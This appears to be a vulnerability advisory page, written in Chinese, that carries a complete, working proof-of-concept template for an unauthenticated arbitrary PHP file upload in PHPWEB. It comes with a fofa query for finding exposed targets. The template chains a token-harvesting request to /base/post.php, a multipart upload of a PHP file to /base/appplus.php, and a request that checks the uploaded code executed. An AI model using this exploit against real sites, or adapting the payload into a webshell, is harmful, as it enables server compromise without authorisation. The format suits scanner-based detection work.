phpweb-appplus-php-upload: phpweb 前台任意文件上传

日期: 2025-08-01 | 影响软件: phpweb | POC: 已公开

漏洞描述

fofa: app="PHPWEB"

PoC代码[已公开]

id: phpweb-appplus-php-upload

info:
  name: phpweb 前台任意文件上传
  author: xpoc
  severity: critical
  verified: true
  description: |-
    fofa: app="PHPWEB"
  reference:
    - https://xz.aliyun.com/t/7053
  tags: phpweb,upload,php
  created: 2023/06/22

set:
  f1: randomInt(40000, 44800)
  rboundary: randomLowercase(8)
  randname: randomLowercase(6)
rules:
  r0:
    request:
      method: POST
      path: /base/post.php
      body: act=appcode
    expression: response.status == 200 && response.body.bcontains(b"k=") && response.body.bcontains(b"t=")
    output:
      search: '"k=(?P<key>\\w+)&t=(?P<token>\\d+)".bsubmatch(response.body)'
      key: search["key"]
      token: search["token"]
      md: md5(key + token)
  r1:
    request:
      method: POST
      path: /base/appplus.php
      headers:
        Content-Type: multipart/form-data; boundary=----WebKitFormBoundary{{rboundary}}
      body: "------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"file\"; filename=\"{{randname}}.php\"\r\nContent-Type: application/octet-stream\r\n\r\n<?php echo md5({{f1}});unlink(__FILE__);?>\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"act\"\r\n\nupload\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"r_size\"\r\n\n41\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"t\"\r\n\n{{token}}\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"m\"\r\n\n{{md}}\r\n------WebKitFormBoundary{{rboundary}}\r\nContent-Disposition: form-data; name=\"path\"\r\n\nupload\r\n------WebKitFormBoundary{{rboundary}}--\r\n"
    expression: response.status == 200 && response.body.bcontains(b".php")
    output:
      search: '"upload/(?P<fname>\\w+.php)".bsubmatch(response.body)'
      fname: search["fname"]
  r2:
    request:
      method: GET
      path: /upload/{{fname}}
    expression: response.status == 200 && response.body.bcontains(bytes(md5(string(f1))))
expression: r0() && r1() && r2()